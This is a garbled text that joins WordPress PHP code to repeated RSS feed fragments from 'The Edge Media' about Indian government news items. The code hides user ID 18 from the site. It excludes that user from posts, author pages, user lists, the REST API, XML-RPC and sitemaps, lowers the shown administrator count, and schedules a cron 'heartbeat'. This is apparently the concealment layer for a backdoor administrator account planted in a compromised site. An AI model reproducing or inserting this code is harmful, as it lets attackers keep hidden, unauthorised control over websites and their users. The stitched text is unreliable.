add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post For the fiscal year 2020-21, the Finance Ministry has approved an interest rate of 8.5 percent on PF deposits appeared first on The Edge Media.
]]>
The interest rate is understood to have been decided on an income of Rs 70,300 crore from the sale of debt and equity investments, leaving a surplus of around Rs 300 crore with the EPFO.
The post For the fiscal year 2020-21, the Finance Ministry has approved an interest rate of 8.5 percent on PF deposits appeared first on The Edge Media.
]]>The post Diwali bonus equal to 78 days’ salary for railway staff has been approved by the government appeared first on The Edge Media.
]]>
According to Union Minister Anurag Thakur, who briefed the media on the Cabinet’s main decisions, the move will help as many as 11.56 lakh non-gazetted Railways employees. This year’s cash outlay is expected to reach $1,985 crore. The budgetary outlay for 2020 was estimated to be 2,081.68 crores.
According to reports, the Railways Ministry has presented a proposal to the Union Cabinet for payment of PLB equivalent to 78 days’ salaries for all eligible non-gazetted railway personnel for the fiscal year 2020-21, which the Cabinet accepted today.
The post Diwali bonus equal to 78 days’ salary for railway staff has been approved by the government appeared first on The Edge Media.
]]>The post The Modi government is making a big push to turn India into a global export hub, and the Cabinet has approved a massive textile park scheme appeared first on The Edge Media.
]]>
Over the next five years, the Union Cabinet has approved a total outlay of Rs 4,445 crore to establish seven massive integrated textile regions and apparel parks (PM-MITRA). The integrated parks will be located at greenfield or brownfield sites in different states that are eager to join, according to the Union Cabinet, which shared a glimpse of the Modi government’s mammoth plant to enhance export and employment.
The post The Modi government is making a big push to turn India into a global export hub, and the Cabinet has approved a massive textile park scheme appeared first on The Edge Media.
]]>The post The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19 appeared first on The Edge Media.
]]>
The court ordered that the funds be disbursed within 30 days of the application’s submission. The court further stated that for compensation, Covid-19 cases would be those in which the victims tested positive in an outpatient clinic or inpatient hospital within 30 days of their death.
The post The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19 appeared first on The Edge Media.
]]>The post India has Cleared the Way for the Boeing 737 Max to Take to the Skies Once More; SpiceJet Will Be The First To Do So By The End of the Month appeared first on The Edge Media.
]]>Regulators in various nations, including the United States, the European Union, and the United Arab Emirates, recently authorized these planes to fly again after receiving mandatory hardware and software changes for safety. Kumar’s order laid the groundwork for permitting Max to fly in India once more.
The post India has Cleared the Way for the Boeing 737 Max to Take to the Skies Once More; SpiceJet Will Be The First To Do So By The End of the Month appeared first on The Edge Media.
]]>The post All 9 Judges Recommended By Supreme Court Panel Cleared By Government appeared first on The Edge Media.
]]>The judges are likely to take oath on August 31.
Justice BV Nagarathna, of the Karnataka High Court, is in line to become the first woman Chief Justice of India – a milestone in the nation’s history.
PS Narasimha, among the judges for the Supreme Court elevation, is also in line to become the Chief Justice, becoming the third lawyer from the bar to become the top judge.
Justice SM Sikri was the first lawyer to be elevated directly to the Supreme Court bench in March 1964. He became the Chief Justice of India in 1971.
The post All 9 Judges Recommended By Supreme Court Panel Cleared By Government appeared first on The Edge Media.
]]>